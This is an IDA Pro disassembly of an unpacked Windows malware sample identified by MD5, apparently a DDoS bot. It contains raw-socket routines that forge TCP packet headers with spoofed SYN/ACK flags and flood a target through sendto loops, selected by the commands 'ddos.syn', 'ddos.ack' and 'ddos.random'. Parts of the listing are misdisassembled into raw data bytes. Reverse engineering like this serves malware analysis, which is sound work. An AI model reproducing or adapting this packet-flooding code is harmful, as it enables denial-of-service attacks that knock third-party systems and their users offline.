;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	7EEC99913DA502F0C48B35F9C7EE7BEF

; File Name   :	u:\work\7eec99913da502f0c48b35f9c7ee7bef_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00020000 ( 131072.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: seg000:00410717o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41551F
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_423050
		push	eax
		call	sub_4154CD
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_412D32
		add	esp, 14h


loc_401090:				; CODE XREF: start+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40B151
		push	[ebp+var_290]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		mov	word ptr [edi+5Eh], ds
start		endp ; sp-analysis failed



loc_4010B2:				; CODE XREF: sub_4013E9+40p
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_43A2F0	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: seg000:004010E9j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43A41C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-20h], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp-40h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-40h], edi
		call	ds:dword_43A358	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	dword ptr [ebp+14h]
		mov	word ptr [ebp-58h], 2
		call	ds:dword_43A378	; ntohs
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-56h], ax
		mov	[ebp-54h], esi
		mov	byte ptr [ebp-34h], 45h
		call	ds:dword_43A378	; ntohs
		push	dword ptr [ebp+14h]
		mov	[ebp-32h], ax
		mov	[ebp-30h], di
		mov	[ebp-2Eh], bx
		mov	byte ptr [ebp-2Ch], 80h
		mov	byte ptr [ebp-2Bh], 6
		mov	[ebp-2Ah], bx
		mov	[ebp-24h], esi
		call	ds:dword_43A378	; ntohs
		mov	[ebp-12h], ax
		call	sub_415529
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_43A378	; ntohs
		push	12345678h
		mov	[ebp-14h], ax
		call	ds:dword_43A374	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp-10h], eax
		push	dword ptr [ebp+10h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: seg000:004011B7j
		push	offset aDdos_ack ; "ddos.ack"
		push	dword ptr [ebp+10h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: seg000:004011D3j
		push	offset aDdos_random ; "ddos.random"
		push	dword ptr [ebp+10h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_415529
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-0Ch], edx
		call	sub_415529	; CODE XREF: seg000:00401245j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-7], dl


loc_401216:				; CODE XREF: seg000:004011C0j
					; seg000:004011DCj ...
		push	4000h
		mov	byte ptr [ebp-8], 50h
		call	ds:dword_43A378	; ntohs
		mov	[ebp-6], ax
		lea	eax, [ebp-48h]
		push	eax
		mov	[ebp-2], bx
		mov	[ebp+10h], ebx
		call	near ptr 3D0000h
		mov	ch, 8Dh
		inc	ebp
		in	al, 50h
		call	near ptr 3D0000h
		sbb	bh, bh
		jnz	short near ptr loc_4011FF+4
		mov	eax, [ebp+18h]
		cdq
		push	dword ptr [ebp-48h]
		push	edx
		push	eax
		call	sub_415980
		add	eax, [ebp-1Ch]
		push	14h
		pop	esi
		adc	edx, [ebp-18h]
		mov	[ebp-3Ch], eax
		mov	[ebp-38h], edx


loc_401264:				; CODE XREF: seg000:00401394j
					; seg000:004013A2j
		mov	[ebp-4], bx
		call	sub_415529
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_43A378	; ntohs
		mov	[ebp-14h], ax
		call	sub_415529
		mov	edi, eax
		shl	edi, 10h
		call	sub_415529
		or	edi, eax
		push	edi
		call	ds:dword_43A378	; ntohs
		movzx	eax, ax
		mov	[ebp-10h], eax
		mov	eax, [ebp+0Ch]
		inc	dword ptr [ebp+0Ch]
		push	eax
		call	ds:dword_43A374	; ntohl
		mov	[ebp-28h], eax
		mov	eax, [ebp-24h]
		push	esi
		mov	[ebp-74h], eax
		mov	[ebp-70h], bl
		mov	byte ptr [ebp-6Fh], 6
		call	ds:dword_43A378	; ntohs
		mov	[ebp-6Eh], ax
		mov	eax, [ebp-28h]
		mov	[ebp-78h], eax
		lea	eax, [ebp-78h]
		push	20h
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp-0B4h]
		push	34h
		push	eax
		call	sub_40A1AE
		mov	[ebp-4], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 44h
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		call	sub_40A1AE
		mov	[ebp-2Ah], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155B0
		add	esp, 14h
		lea	eax, [ebp-58h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		push	dword ptr [ebp-20h]
		call	ds:dword_43A3DC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+10h], eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	near ptr 3D0000h
		xchg	eax, edx
		mov	eax, [ebp-18h]
		cmp	eax, [ebp-38h]
		jg	short loc_4013D0
		jl	loc_401264
		mov	eax, [ebp-1Ch]
		cmp	eax, [ebp-3Ch]
		jnb	short loc_4013D0
		jmp	loc_401264
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: seg000:0040137Dj
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-0F4h]
		push	offset unk_42308C
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-0F4h]
		push	eax
		call	sub_40B151
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------


loc_4013D0:				; CODE XREF: seg000:00401392j
					; seg000:004013A0j
		mov	ebx, [ebp+10h]


loc_4013D3:				; CODE XREF: seg000:0040112Aj
					; seg000:004013CEj
		push	dword ptr [ebp-20h]
		call	ds:dword_43A410	; closesocket
		pop	esi


loc_4013DD:				; CODE XREF: seg000:0040110Dj
		call	ds:dword_43A2D8	; WSACleanup
		mov	eax, ebx


loc_4013E5:				; CODE XREF: seg000:004010EDj
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: start+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A03F
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A3F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_415A3F
		mov	edi, eax
		call	sub_415529
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp

; ---------------------------------------------------------------------------


loc_401447:				; DATA XREF: seg000:004108FFo
		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+8]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1BCh]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	ds:dword_43A3F8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short near ptr loc_4014E1+1
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_42322C


loc_401495:				; DATA XREF: seg002:off_424D5Co
					; seg002:off_425D04o
		push	eax
		call	sub_4154CD
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_412D32
		add	esp, 14h


loc_4014C5:				; CODE XREF: seg000:004014A3j
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-38h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_4014E1:				; CODE XREF: seg000:00401481j
		dec	byte ptr [ebp+46AF44Dh]


loc_4014E7:				; CODE XREF: seg000:00401558j
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp-0Ch], ebx
		call	ds:dword_43A358	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401558+1
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_4231E0
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_412D32
		add	esp, 14h


loc_40153C:				; CODE XREF: seg000:0040151Aj
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-38h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_401558:				; CODE XREF: seg000:004014FAj
		jo	short loc_4014E7
		test	[eax-2], ecx
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
		dd 0A3B815FFh, 0F8830043h, 8D5575FFh, 0FFFC4485h, 31AC68FFh
		dd 0E8500042h, 13F51h, 59DC7D39h, 57207559h, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 11792h, 8D14C483h, 0FFFC4485h, 0A2E850FFh, 0FF00009Bh
		dd 0DEE8C875h, 5900013Ch, 41E85759h, 0EBFFFCEAh, 458D106Ah
		dd 0E85057E4h, 13F84h, 660CC483h, 2E445C7h, 15FF5700h
		dd 43A378h, 0E6458966h,	0FE48858Dh, 0FF50FFFFh,	43A3B815h
		dd 4C358B00h, 89004210h, 7D89E845h, 89D6FF08h, 0D6FFF845h
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 0FD0453Bh, 19487h
		dd 41C6800h, 5C60000h, 438B78h,	7815FF45h, 390043A3h, 0A366D47Dh
		dd 438B7Ah, 7C1D8966h, 6600438Bh, 8B7E3D89h, 5C60043h
		dd 438B80h, 811D8880h, 6600438Bh, 8B823D89h, 30740043h
		dd 13ED0E8h, 0C1D88B00h, 0C6E808E3h, 300013Eh, 8E3C1D8h
		dd 13EBCE8h, 0C1D80300h, 0B2E808E3h, 300013Eh, 89016AD8h
		dd 438B841Dh, 18EB5B00h, 0FE44B5FFh, 0C6E8FFFFh, 5900008Ah
		dd 0B815FF50h, 0A30043A3h, 438B84h, 0A3E8458Bh,	438B88h
		dd 13E80E8h, 0B99900h, 0F7000001h, 8C1588F9h, 0E800438Bh
		dd 13E6Dh, 100B999h, 0F9F70000h, 8B8D1588h, 5AE80043h
		dd 9900013Eh, 0F0B9h, 4006800h,	0F9F70000h, 8E3D8966h
		dd 6600438Bh, 8B921D89h, 66420043h, 8B901589h, 32E80043h
		dd 9900013Eh, 0FFB9h, 52F9F700h, 438B9468h, 3E46E800h
		dd 0C4830001h, 0E4458D0Ch, 5750106Ah, 41C68h, 8B786800h
		dd 75FF0043h, 0DC15FFFCh, 830043A3h, 874FFF8h, 0E90845FFh
		dd 0FFFFFECAh, 0FFFC75FFh, 43A41015h, 0C15FF00h, 500043A3h
		dd 0FE48858Dh, 75FFFFFFh, 48685008h, 8D004231h,	0FFFC4485h
		dd 20068FFh, 0E8500000h, 142E6h, 3918C483h, 2075DC7Dh
		dd 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh
		dd 0FFFFFE44h, 115A9E8h, 14C48300h, 0FC44858Dh,	0E850FFFFh
		dd 99B9h, 0E8C875FFh, 13AF5h, 0E8575959h, 0FFFCE858h, 0FC75FF82h
		dd 0A41015FFh, 458B0043h, 6BD23308h, 0C88B3CC0h, 0F70AE8C1h
		dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh,	0C8858D50h
		dd 50FFFFFEh, 0FC44858Dh, 0E468FFFFh, 50004230h, 13CE4E8h
		dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 1524E8FFh, 0C4830001h
		dd 44858D14h, 50FFFFFCh, 9934E8h, 0C875FF00h, 13A70E8h
		dd 57595900h, 0FCE7D3E8h
		db 0FFh, 0B8h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: seg000:00410608o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_423274
		push	eax
		call	sub_4154CD
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_412D32
		add	esp, 14h


loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40B151
		push	[ebp+var_10]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		insd
		pop	edi
		pop	esi
sub_40182E	endp ; sp-analysis failed



loc_4018CA:				; CODE XREF: sub_401B7C+3Cp
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_43A2F0	; WSAStartup
		test	eax, eax
		jz	short loc_40190A
		xor	eax, eax
		jmp	loc_401B78
; ---------------------------------------------------------------------------


loc_40190A:				; CODE XREF: seg000:00401901j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43A41C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-0Ch], eax
		jz	loc_401B70
		push	esi
		lea	ecx, [ebp-38h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-38h], edi
		call	ds:dword_43A358	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B66
		push	10h
		lea	eax, [ebp-50h]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-50h], 2
		push	dword ptr [ebp+10h]
		call	ds:dword_43A378	; ntohs
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-4Eh], ax
		mov	[ebp-4Ch], esi
		mov	byte ptr [ebp-20h], 45h
		call	ds:dword_43A378	; ntohs
		push	dword ptr [ebp+10h]
		mov	[ebp-1Eh], ax
		mov	[ebp-1Ch], di
		mov	[ebp-1Ah], bx
		mov	byte ptr [ebp-18h], 80h
		mov	byte ptr [ebp-17h], 6
		mov	[ebp-16h], bx
		mov	[ebp-10h], esi
		call	ds:dword_43A378	; ntohs
		push	4000h
		mov	[ebp-32h], ax
		mov	[ebp-2Ch], ebx
		mov	byte ptr [ebp-28h], 50h
		mov	byte ptr [ebp-27h], 2
		call	ds:dword_43A378	; ntohs
		mov	[ebp-26h], ax
		lea	eax, [ebp-40h]
		push	eax
		mov	[ebp-22h], bx
		mov	[ebp+10h], ebx
		call	near ptr 3D0000h
		in	eax, 8Dh
		inc	ebp
		clc
		push	eax
		call	near ptr 3D0000h
; ---------------------------------------------------------------------------
		dd 0C475FFFEh, 9914458Bh, 52C075FFh, 3F96E850h,	45030001h
		dd 13F28BF8h, 4589FC75h, 5D8966A8h, 3B2BE8DCh, 0B9990001h
		dd 3E9h, 0C281F9F7h, 3E8h, 7815FF52h, 660043A3h, 0E8CC4589h
		dd 13B0Dh, 0E7C1F88Bh, 3B03E810h, 0F80B0001h, 7815FF57h
		dd 0F0043A3h, 4589C0B7h, 0C458BD0h, 500C45FFh, 0A37415FFh
		dd 146A0043h, 8BEC4589h, 575FF045h, 888C4589h, 45C6905Dh
		dd 15FF0691h, 43A378h, 92458966h, 89EC458Bh, 458D8845h
		dd 50206A88h, 0FF4C858Dh, 0E850FFFFh, 13B38h, 57CC458Dh
		dd 6C858D50h, 50FFFFFFh, 13B27E8h, 4C858D00h, 6AFFFFFFh
		dd 17E85034h, 66000087h, 8DDC4589h, 5057E045h, 0FF4C858Dh
		dd 0E850FFFFh, 13B04h, 57CC458Dh, 60858D50h, 50FFFFFFh
		dd 13AF3E8h, 8D046A00h,	0FFFF7485h, 0E85053FFh,	13A84h
		dd 8D44C483h, 0FFFF4C85h, 50286AFFh, 86D1E8h, 45896600h
		dd 0E0458DEAh, 858D5057h, 0FFFFFF4Ch, 3ABEE850h, 0C4830001h
		dd 0B0458D14h, 5350106Ah, 0FF4C858Dh, 286AFFFFh, 0F475FF50h
		dd 0A3DC15FFh, 0F8830043h, 12774FFh, 458D1045h,	0E1E850F8h
		dd 9EFFFCE4h, 3BFC458Bh, 0F3C7FC6h, 0FFFEC88Ch,	0F8458BFFh
		dd 73A8453Bh, 0FEBBE92Eh, 15FFFFFFh, 43A30Ch, 0C858D50h
		dd 68FFFFFFh, 4232B0h, 397BE850h, 858D0001h, 0FFFFFF0Ch
		dd 95F3E850h, 0C4830000h, 8B03EB10h
		db 5Dh,	10h
; ---------------------------------------------------------------------------


loc_401B66:				; CODE XREF: seg000:00401942j
		push	dword ptr [ebp-0Ch]
		call	ds:dword_43A410	; closesocket
		pop	esi


loc_401B70:				; CODE XREF: seg000:00401925j
		call	ds:dword_43A2D8	; WSACleanup
		mov	eax, ebx


loc_401B78:				; CODE XREF: seg000:00401905j
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A03F
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A3F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_415A3F
		mov	edi, eax
		call	sub_415529
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_4018CA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC7
		push	1
		pop	eax


loc_401BC7:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BD6	proc near		; DATA XREF: seg000:0040FA57o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_75		= dword	ptr -75h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_42104C
		call	edi	; GetTickCount
		push	eax
		call	sub_41551F
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43A3F8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401C9F
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_423438
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401C7F
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D32
		add	esp, 14h


loc_401C7F:				; CODE XREF: sub_401BD6+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B151
		push	[ebp+var_BC]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		stc


loc_401C9F:				; CODE XREF: sub_401BD6+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	ds:dword_43A358	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D1D
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4233EC
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401CFD
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D32
		add	esp, 14h


loc_401CFD:				; CODE XREF: sub_401BD6+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B151
		push	[ebp+var_BC]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		aas


loc_401D1D:				; CODE XREF: sub_401BD6+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8D
		lea	eax, [ebp+var_440]
		push	offset dword_4233B8
		push	eax
		call	sub_4154CD
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6D
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D32
		add	esp, 14h


loc_401D6D:				; CODE XREF: sub_401BD6+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B151
		push	[ebp+var_BC]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		scasb


loc_401D8D:				; CODE XREF: sub_401BD6+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	ds:dword_43A378	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_401DC5:				; CODE XREF: sub_401BD6+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	near ptr loc_402088+1
		push	28h
